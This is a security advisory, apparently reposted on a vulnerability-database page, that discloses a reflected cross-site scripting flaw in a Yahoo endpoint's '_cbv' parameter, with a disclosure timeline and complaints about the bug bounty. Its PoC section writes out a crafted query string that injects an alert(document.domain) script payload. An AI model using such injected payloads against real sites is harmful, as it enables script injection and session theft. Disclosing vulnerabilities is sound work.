Yahoo Cross Site Scripting

Risk: Low
Local: No
Remote: Yes

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 In Nov ?13 I reported a Cross-site Scripting vulnerability to the Yahoo Bug Bounty Program. As for my other reports, I?ve got no response or feedback, so I wrote a message to them via email this time ... and so on ... blah blah :) To cut a long story short, for all my reports the communication with Yahoo was really bad and of course: No bounty! Advisory: Yahoo Bug Bounty Program Vulnerability #1 XSS on Advisory ID: SSCHADV2013-YahooBB-001 Author: Stefan Schurtz Affected Software: Successfully tested on Vendor URL: Vendor Status: Seems to be fixed Bounty: nothing ========================== Vulnerability Description ========================== The '_cbv'-Paramter on "" is prone to a Cross-site Scripting vulnerability ========================== PoC-Exploit ========================== cb=1385497647.226089&publisher_blob=${RS}|gmGLFTE4OC4mbYnzUpH6dwEQOTMuMlKVBC__yxq4 |2143911627|LREC2|1385497647.226089&yud=smpv%3d3%26ed%3dzxE1dF31xQzMnXQidpJpWNtP OVygJhcHBknzVCnpTraLTXtt8jO7OEVYpCbxEhJcwmU2x.ekTqffsDUVYgceDTs.NijijL.tGPKwsdRUsLvxftzYGe .0VUghSSHioqjLjQJ7KaidIocpC1oj2SKC4lg_EhLiMsmgXiq6wbNVL_VzG1fHxP77ptF04VC7jL7lL1vr0iRs.r6 8cRSLiFUFzH_pvnaxUy8-&_msd=1&_xcf=1&_exv=RDnhGI4wnN7uv.jS65VPBVAFmZBbevIBHZGnRIl5vxDV&_msig=10sorm5kd&rmxbkn=0&_cbv=132025816&81c91"-alert(document.domain)-"1580bfdcb31=1 ========================== Disclosure Timeline ========================== 28-Nov-2013 - vendor informed by contact form (Yahoo Bug Bounty Program) 31-Dec-2013 - next message to the Yahoo Securiy Contact 04-Jan-2014 - feedback from vendor 04-Jan-2014 - vendor informed again about the three vulnerabilities 06-Jan-2014 - feedback from vendor 15-Jan-2014 - contact with Jeff Zingler (Threat Response @ Yahoo) 16-Jan-2013 - contact with Jeff Zingler (Threat Response @ Yahoo) // last contact ========================== Credits ========================== Vulnerability found and advisory written by Stefan Schurtz. ========================== References ========================== -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.12 (GNU/Linux) iEYEARECAAYFAlMa754ACgkQg3svV2LcbMCOdwCeIA7oMkSnPBbwwWTDlQRV4igR YcsAnim2G2fNSu42X8E2PXfSM2TNFqd9 =G3sf -----END PGP SIGNATURE-----


Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021,


Back to Top